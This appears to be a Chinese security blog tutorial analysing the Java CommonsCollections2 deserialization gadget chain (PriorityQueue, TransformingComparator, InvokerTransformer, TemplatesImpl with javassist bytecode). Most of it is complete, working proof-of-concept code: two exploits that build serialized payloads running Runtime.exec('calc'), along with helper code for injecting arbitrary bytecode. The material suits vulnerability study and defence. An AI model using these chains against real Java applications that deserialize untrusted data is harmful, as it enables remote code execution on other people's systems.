环境搭建 依赖commmonscollections4(3.1中TransformingComparator没有继承自Serializable所以无法进行Java反序列化)
pom.xml
1 2 3 4 5 6 7 8 9 10 11 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
前置知识 javasist 用于生成字节码
先在pom.xml添加依赖
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;public class JavassistTest { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass test = pool.makeClass("Evil" ); String name = "Evil" + System.nanoTime(); test.setName(name); String cmd = "System.out.println(\"Hello,Javasist\");" ; test.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = test.makeClassInitializer(); constructor.insertBefore(cmd); test.writeFile("./" ); } }
可以看到生成了一个class文件
.class文件的内容
ClassLoader#defineClass ClassLoader是Java的类加载器,主要用于加载字节码
利用类加载器的defineClass方法来加载字节码,但是由于ClassLoader#defineClass方法是protected所以无法直接从外部进行调用,只能通过反射来调用这个方法
1 2 3 4 5 Class clas = Class.forName("java.lang.ClassLoader" ); Method defineclass = clas.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineclass.setAccessible(true ); Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil" ,bytes,0 ,bytes.length); claz.newInstance();
TemplatesImpl 在TemplatesImpl类中定义了一个内部类TransletClassLoader,在这个类中对loadClass进行了重写并且可以被外部进行调用,可以被用来加载字节码
两个要求
要利用反射设置这四个属性
javasist生成的代码要继承自AbstractTranslet
利用TemplatesImpl来加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import java.lang.reflect.Field;public class TemplatesTest { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass clas = pool.makeClass("TempTest" ); clas.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "System.out.println(\"Templates Test\");" ; CtConstructor constructor = clas.makeClassInitializer(); constructor.insertBefore(cmd); clas.writeFile("./" ); byte [] bytes = clas.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Field _name = temp.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates,"tttt" ); setFieled(templates,temp,"_name" ,"tttt" ); setFieled(templates,temp,"_class" ,null ); setFieled(templates,temp,"_bytecodes" ,new byte [][]{bytes}); setFieled(templates,temp,"_tfactory" ,new TransformerFactoryImpl()); templates.getOutputProperties(); } public static void setFieled (TemplatesImpl templates,Class clas ,String fieled,Object obj) throws Exception { Field _field = clas.getDeclaredField(fieled); _field.setAccessible(true ); _field.set(templates,obj); } }
成功加载了生成的class文件
触发过程
为什么要先用反射设置属性? 在getTransletInstance中,需要满足条件_name!==null
和_class==null
才能进入defineTransletClasses
进入defineTransletClasses,_bytecodes
的值为被加载的字节码
为什么javasist生成的代码要继承自AbstractTranslet? defineTransletClasses中存在对父类的判断,父类不是ABSTRACT_TRANSLET的时候会报错。所以在生成字节码的时候需要设置父类
利用链 分析 org.apache.commons.collections4.comparators.TransformingComparator#compare
漏洞起点是TransformingComparator.compare()
,其中触发了transform
方法
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator
this.transformer
可控,来源于构造函数中传入的transform
参数
接下来就跟之前一样了,由于我们可以调用任意类的transform方法,只需在构造方法中传入构造好的ChainedTransforme
然后触发反射链执行命令
接下来我们需要找到能触发TransformingComparator.compare()
并 且传入参数可控的点
条件:
能触发TransformingComparator.compare()
传入compare
函数的参数可控,这样才能传入ChainedTransformer
执行反射链
PriorityQueue(执行命令) 分析 java.util.PriorityQueue#readObject
这里对传入参数ObjectInputStream进行反序列化,然后赋值给queue数组
queue是属性,可以使用反射修改它,所以queue可控
java.util.PriorityQueue#heapify
接下来进入 heapify()
函数,这里的queue跟上面一样,也是可控的
java.util.PriorityQueue#siftDown
继续来看 siftDown()
函数,如果comparator不为null,那么就会进入siftDownUsingComparator()
函数,此时x可控
java.util.PriorityQueue#siftDownUsingComparator
调用comparator的compare函数, 这里的 x
就是上面传进来的queue,是可控的。利用反射让comparator
等于TransformingComparator
就可以调用TransformingComparator.compare()
。同时x可控,这样就可以利用 InvokerTransformer
触发任意类的任意方法。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;public class Test { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"calc" })}); TransformingComparator transformingComparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(1 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue,transformingComparator); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil.bin" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("evil.bin" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
可以执行命令
流程
为什么这里queue要添加两个元素? 如果只添加一个的话,最终结果会为-1从而无法进入siftDown函数
执行代码 上面这种方法仅仅能执行命令,危害不足。cc2中可以通过利用javasist 和 TemplatesImpl,加载字节码来进行执行代码。
思路:
先利用javasist生成字节码
利用上面的InvokerTransformer
触发TemplatesImpl
的newTransformer
从而读取恶意字节码从而进行执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;public class CommonCollection2 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ) .getDeclaredConstructor(String.class); constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" ); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); PriorityQueue queue = new PriorityQueue(1 ); Object[] queue_array = new Object[]{templates,1 }; Field queue_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" ); queue_field.setAccessible(true ); queue_field.set(queue,queue_array); Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); size.setAccessible(true ); size.set(queue,2 ); TransformingComparator comparator = new TransformingComparator(transformer); Field comparator_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparator_field.setAccessible(true ); comparator_field.set(queue,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#compare
调用设置好的InvokerTransformer的transform,反射调用newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
进入getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
先用defineTransletClasses加载字节码,把得到的类赋值给_class
,然后执行newInstance,把_class
实例化
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
加载_bytecodes中的字节码
成功执行
参考链接 http://wjlshare.com/archives/1509